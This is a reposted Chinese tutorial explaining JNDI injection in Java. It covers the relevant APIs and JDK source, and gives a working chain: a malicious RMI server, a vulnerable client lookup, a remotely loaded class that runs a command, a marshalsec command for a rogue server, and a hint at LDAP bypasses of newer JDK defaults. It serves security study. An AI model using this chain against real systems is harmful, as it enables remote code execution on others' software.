|
JAVA安全 JNDI注入攻击 转载自:JAVA安全 JNDI注入攻击
本文来学习JNDI注入,在此之前,先介绍一下JNDI是什么?
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象
既然要玩JNDI注入,那么就先了解一些常用的函数。这里是找的网上的函数讲解,写的比较全。
InitialContext类
构造方法:
- InitialContext()
- 构建一个初始上下文。
- InitialContext(boolean lazy)
- 构造一个初始上下文,并选择不初始化它。
- InitialContext(Hashtable<?,?> environment)
- 使用提供的环境构建初始上下文。
复制代码 初始化上下文环境- InitialContext initialContext = new InitialContext();
复制代码
常用方法:
- bind(Name name, Object obj)
- 将名称绑定到对象。
- list(String name)
- 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
- lookup(String name)
- 检索命名对象。
- rebind(String name, Object obj)
- 将名称绑定到对象,覆盖任何现有绑定。
- unbind(String name)
- 取消绑定命名对象。
复制代码 Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
- Reference(String className)
- 为类名为“className”的对象构造一个新的引用。
- Reference(String className, RefAddr addr)
- 为类名为“className”的对象和地址构造一个新引用。
- Reference(String className, RefAddr addr, String factory, String factoryLocation)
- 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
- Reference(String className, String factory, String factoryLocation)
- 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
复制代码 代码:- <code>String url = " http://127.0.0.1:8080 ";</code><code>
- Reference reference = new Reference("test","test", url);</code>
复制代码
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
常用方法:
- void add(int posn, RefAddr addr)
- 将地址添加到索引posn的地址列表中。
- void add(RefAddr addr)
- 将地址添加到地址列表的末尾。
- void clear()
- 从此引用中删除所有地址。
- RefAddr get(int posn)
- 检索索引posn上的地址。
- RefAddr get(String addrType)
- 检索地址类型为“addrType”的第一个地址。
- Enumeration<RefAddr> getAll()
- 检索本参考文献中地址的列举。
- String getClassName()
- 检索引用引用的对象的类名。
- String getFactoryClassLocation()
- 检索此引用引用的对象的工厂位置。
- String getFactoryClassName()
- 检索此引用引用对象的工厂的类名。
- Object remove(int posn)
- 从地址列表中删除索引posn上的地址。
- int size()
- 检索此引用中的地址数。
- String toString()
- 生成此引用的字符串表示形式。
复制代码
服务端代码编写
既然有了上方的知识,就编写一个服务端,这里在执行完Reference之后,又将其传到了ReferenceWrapper 中
- public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
- String url = " http://127.0.0.1/ ";
- Registry registry = LocateRegistry.createRegistry(1099);
- Reference reference = new Reference("test","test",url);
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
- registry.bind("work",referenceWrapper);
- }
复制代码
因为前面讲RMI的时候就说过了,需要继承UnicastRemoteObject类,实现Remote接口
RemoteRefernece继承了Remote
客户端代码编写
- public static void main(String[] args) throws NamingException, IOException {
- String uri = "rmi://127.0.0.1:1099/work";
- InitialContext initialContext = new InitialContext();//得到初始化目录的一个引用
- initialContext.lookup(uri);//获取远程对象
- System.out.println("Client Runing. ");
- }
复制代码 其实这就是一个典型的JNDI注入,如果客户端的uri可控的话,就会加载rmi服务端的恶意类。从这里可以看出,恶意的类,我放到了web服务中。
恶意的代码:
javac ExecTest.java 这里在编译的时候,版本要一致。
- import java.io.IOException;
- public class test {
- public test() throws IOException {
- Runtime.getRuntime().exec("calc");
- }
- }
复制代码
之后就会执行命令
这里深入追一下,看看是如何执行命令的? 跟进initialContext.lookup
- public Object lookup(String name) throws NamingException {
- return getURLOrDefaultInitCtx(name).lookup(name);
- }
复制代码 之后继续跟进lookup
- public Object lookup(String var1) throws NamingException {
- ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
- Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
- Object var4
- try {
- var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找
- } finally {
- var3.close();
- }
- return var4;
复制代码 再次跟进lookup并进入decodeObject
- public Object lookup(Name var1) throws NamingException {
- if (var1.isEmpty()) {
- return new RegistryContext(this);
- } else {
- Remote var2;
- try {
- var2 = this.registry.lookup(var1.get(0));
- } catch (NotBoundException var4) {
- throw new NameNotFoundException(var1.get(0));
- } catch (RemoteException var5) {
- throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
- }
- return this.decodeObject(var2, var1.getPrefix(1));
- }
- }
复制代码 //如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文
件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI
服务。
- private Object decodeObject(Remote var1, Name var2) throws NamingException {
- try {
- Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
- return NamingManager.getObjectInstance(var3, var2, this, this.environment);
- }
- catch (NamingException var5) {
复制代码 decodeObject如下
- throw var5;
- } catch (RemoteException var6) {
- throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
- } catch (Exception var7) {
- NamingException var4 = new NamingException(); var4.setRootCause(var7);
- throw var4;
- }
- }
复制代码
再次跟进NamingManager.getObjectInstance
- // Use reference if possible
- Reference ref = null;
- if (refInfo instanceof Reference) {
- ref = (Reference) refInfo;
- } else if (refInfo instanceof Referenceable) {
- ref = ((Referenceable)(refInfo)).getReference();
- }
-
- Object answer;
-
- if (ref != null) {
复制代码 接下来我拿出getObjectInstance一部分重要的代码来分析,这里将refInfo存到了一个临时变量ref中,并在12行获取类名之后。14行统一传入进去了
- String f = ref.getFactoryClassName(); if (f != null) {
- factory = getObjectFactoryFromReference(ref, f); if (factory != null) {
- return factory.getObjectInstance(ref, name, nameCtx,environment
- }
- return refInfo;
- }
复制代码
跟进getObjectFactoryFromReference,代码如下,很明显就会加载我们的恶意类
- static ObjectFactory getObjectFactoryFromReference(
- Reference ref, String factoryName)
- throws IllegalAccessException,
- InstantiationException,
- MalformedURLException {
- Class<?> clas = null;
-
- try {
- clas = helper.loadClass(factoryName);
- } catch (ClassNotFoundException e) {
-
- }
- String codebase;
- if (clas == null &&
- (codebase = ref.getFactoryClassLocation()) != null) {
- //此处codebase是我们在恶意RMI服务端中定义的地址
- try {
- clas = helper.loadClass(factoryName, codebase);
- } catch (ClassNotFoundException e) {
- }
- }
- //实例化就会执行calc
- return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
- }
复制代码 但是服务端的话,其实不必每次都得自己写,直接推荐一款工具吧,会自己搭建RMI服务marshalsec https://github.com/mbechler/marshalsec
命令如下: http://127.0.0.1/#test 就是我们的恶意类,而8088就是开放的端口,不指定的话就是默认的1099
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0. 0.1/#test 8088
复制代码
最终也是可以成功执行
结尾:
在高版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。可以使用ldap来进行绕过。
|
|